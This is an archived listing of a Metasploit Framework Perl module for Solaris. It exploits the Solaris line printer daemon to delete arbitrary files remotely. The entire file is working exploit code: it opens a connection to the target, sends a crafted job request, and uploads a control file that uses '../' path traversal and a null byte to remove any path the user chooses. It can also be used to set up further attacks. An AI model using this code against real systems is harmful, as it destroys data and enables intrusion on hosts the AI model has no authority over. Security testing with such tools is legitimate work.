home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / solaris_lpd_unlink.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  3.8 KB  |  143 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::solaris_lpd_unlink;
  11. use base "Msf::Exploit";
  12. use IO::Socket;
  13. use IO::Select;
  14. use strict;
  15. use Pex::Text;
  16.  
  17. my $advanced = { };
  18.  
  19. my $info =
  20.   {
  21.     'Name'        => 'Solaris LPD Arbitrary File Delete',
  22.     'Version'    => '$Revision: 1.6 $',
  23.     'Authors'    =>
  24.       [
  25.         'H D Moore <hdm [at] metasploit.com>',
  26.         'Optyx <optyx [at] uberhax0r.net>'
  27.       ],
  28.  
  29.     'Arch'        => [ ],
  30.     'OS'        => [ 'solaris' ],
  31.  
  32.     'UserOpts'  =>
  33.       {
  34.         'RHOST' => [1, 'ADDR', 'The target address'],
  35.         'RPORT' => [1, 'PORT', 'The LPD server port', 515],
  36.         'RPATH' => [1, 'DATA', 'The remote path name to delete'],
  37.       },
  38.  
  39.     'Description'  => Pex::Text::Freeform(qq{
  40.         This module uses a vulnerability in the Solaris line printer daemon
  41.     to delete arbitrary files on an affected system. This can be used to exploit
  42.     the rpc.walld format string flaw, the missing krb5.conf authentication bypass,
  43.     or simple delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10. 
  44. }),
  45.  
  46.     'Refs'  =>
  47.       [
  48.         ['URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'],
  49.       ],
  50.  
  51.     'DefaultTarget' => 0,
  52.     'Targets' => [['No Target Needed']],
  53.  
  54.     'Keys'  => ['lpd'],
  55.   };
  56.  
  57. sub new {
  58.     my $class = shift;
  59.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  60.     return($self);
  61. }
  62.  
  63. sub Exploit {
  64.     my $self = shift;
  65.     my $target_host = $self->GetVar('RHOST');
  66.     my $target_port = $self->GetVar('RPORT');
  67.     my $target_path = $self->GetVar('RPATH');
  68.     my $res;
  69.  
  70.     # We use one connection to configure the spool directory
  71.     my $s = Msf::Socket::Tcp->new
  72.       (
  73.         'PeerAddr'  => $target_host,
  74.         'PeerPort'  => $target_port,
  75.         'LocalPort' => $self->GetVar('CPORT'),
  76.         'SSL'       => $self->GetVar('SSL'),
  77.       );
  78.     if ($s->IsError) {
  79.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  80.         return;
  81.     }
  82.  
  83.     # Send a job request that will trigger the cascade adaptor (thanks Dino!)
  84.     $s->Send("\x02"."metasploit:framework\n");
  85.     $res = $s->Recv(1, 5);
  86.     if (ord($res) != 0) {
  87.         $self->PrintLine("[*] The target did not accept our job request command");
  88.         return;
  89.     }
  90.  
  91.     # The job ID is squashed down to three decimal digits
  92.     my $jid = ($$ % 1000).unpack("H*",pack('N', time() + $$));
  93.  
  94.     # Create a simple control file...
  95.     my $control = "Hmetasploit\nPr00t\n";
  96.  
  97.     # Theoretically, we could delete multiple files at once, however
  98.     # the lp daemon will append garbage from memory to the path name
  99.     # if we don't stick a null byte after the path. Unfortunately, this
  100.     # null byte will prevent the parser from processing the other paths.
  101.     $control .= "U".("../" x 10)."$target_path\x00\n";
  102.  
  103.     my $dataf = "http://metasploit.com/\n";
  104.  
  105.     $self->PrintLine("[*] Sending the malicious cascaded job request...");
  106.     if ( ! $self->SendFile($s, 2, "cfA".$jid."metasploit", $control) ||
  107.         ! $self->SendFile($s, 3, "dfa".$jid."metasploit", $dataf)  ||
  108.         0
  109.       ) { $s->Close; return }
  110.  
  111.     $self->PrintLine('');
  112.     $self->PrintLine("[*] Successfully deleted $target_path >:-]");
  113.     return;
  114. }
  115.  
  116. sub SendFile {
  117.     my $self = shift;
  118.     my $sock = shift;
  119.     my $type = shift;
  120.     my $name = shift;
  121.     my $data = shift;
  122.  
  123.     $sock->Send(chr($type) .length($data). " $name\n");
  124.     my $res = $sock->Recv(1, 5);
  125.     if (ord($res) != 0) {
  126.         $self->PrintLine("[*] The target did not accept our control file command ($name)");
  127.         return;
  128.     }
  129.  
  130.     $sock->Send($data);
  131.     $sock->Send("\x00");
  132.     $res = $sock->Recv(1, 5);
  133.     if (ord($res) != 0) {
  134.         $self->PrintLine("[*] The target did not accept our control file data ($name)");
  135.         return;
  136.     }
  137.  
  138.     $self->PrintLine(sprintf("[*]     Uploaded %.4d bytes >> $name", length($data)));
  139.     return 1;
  140. }
  141.  
  142. 1;
  143.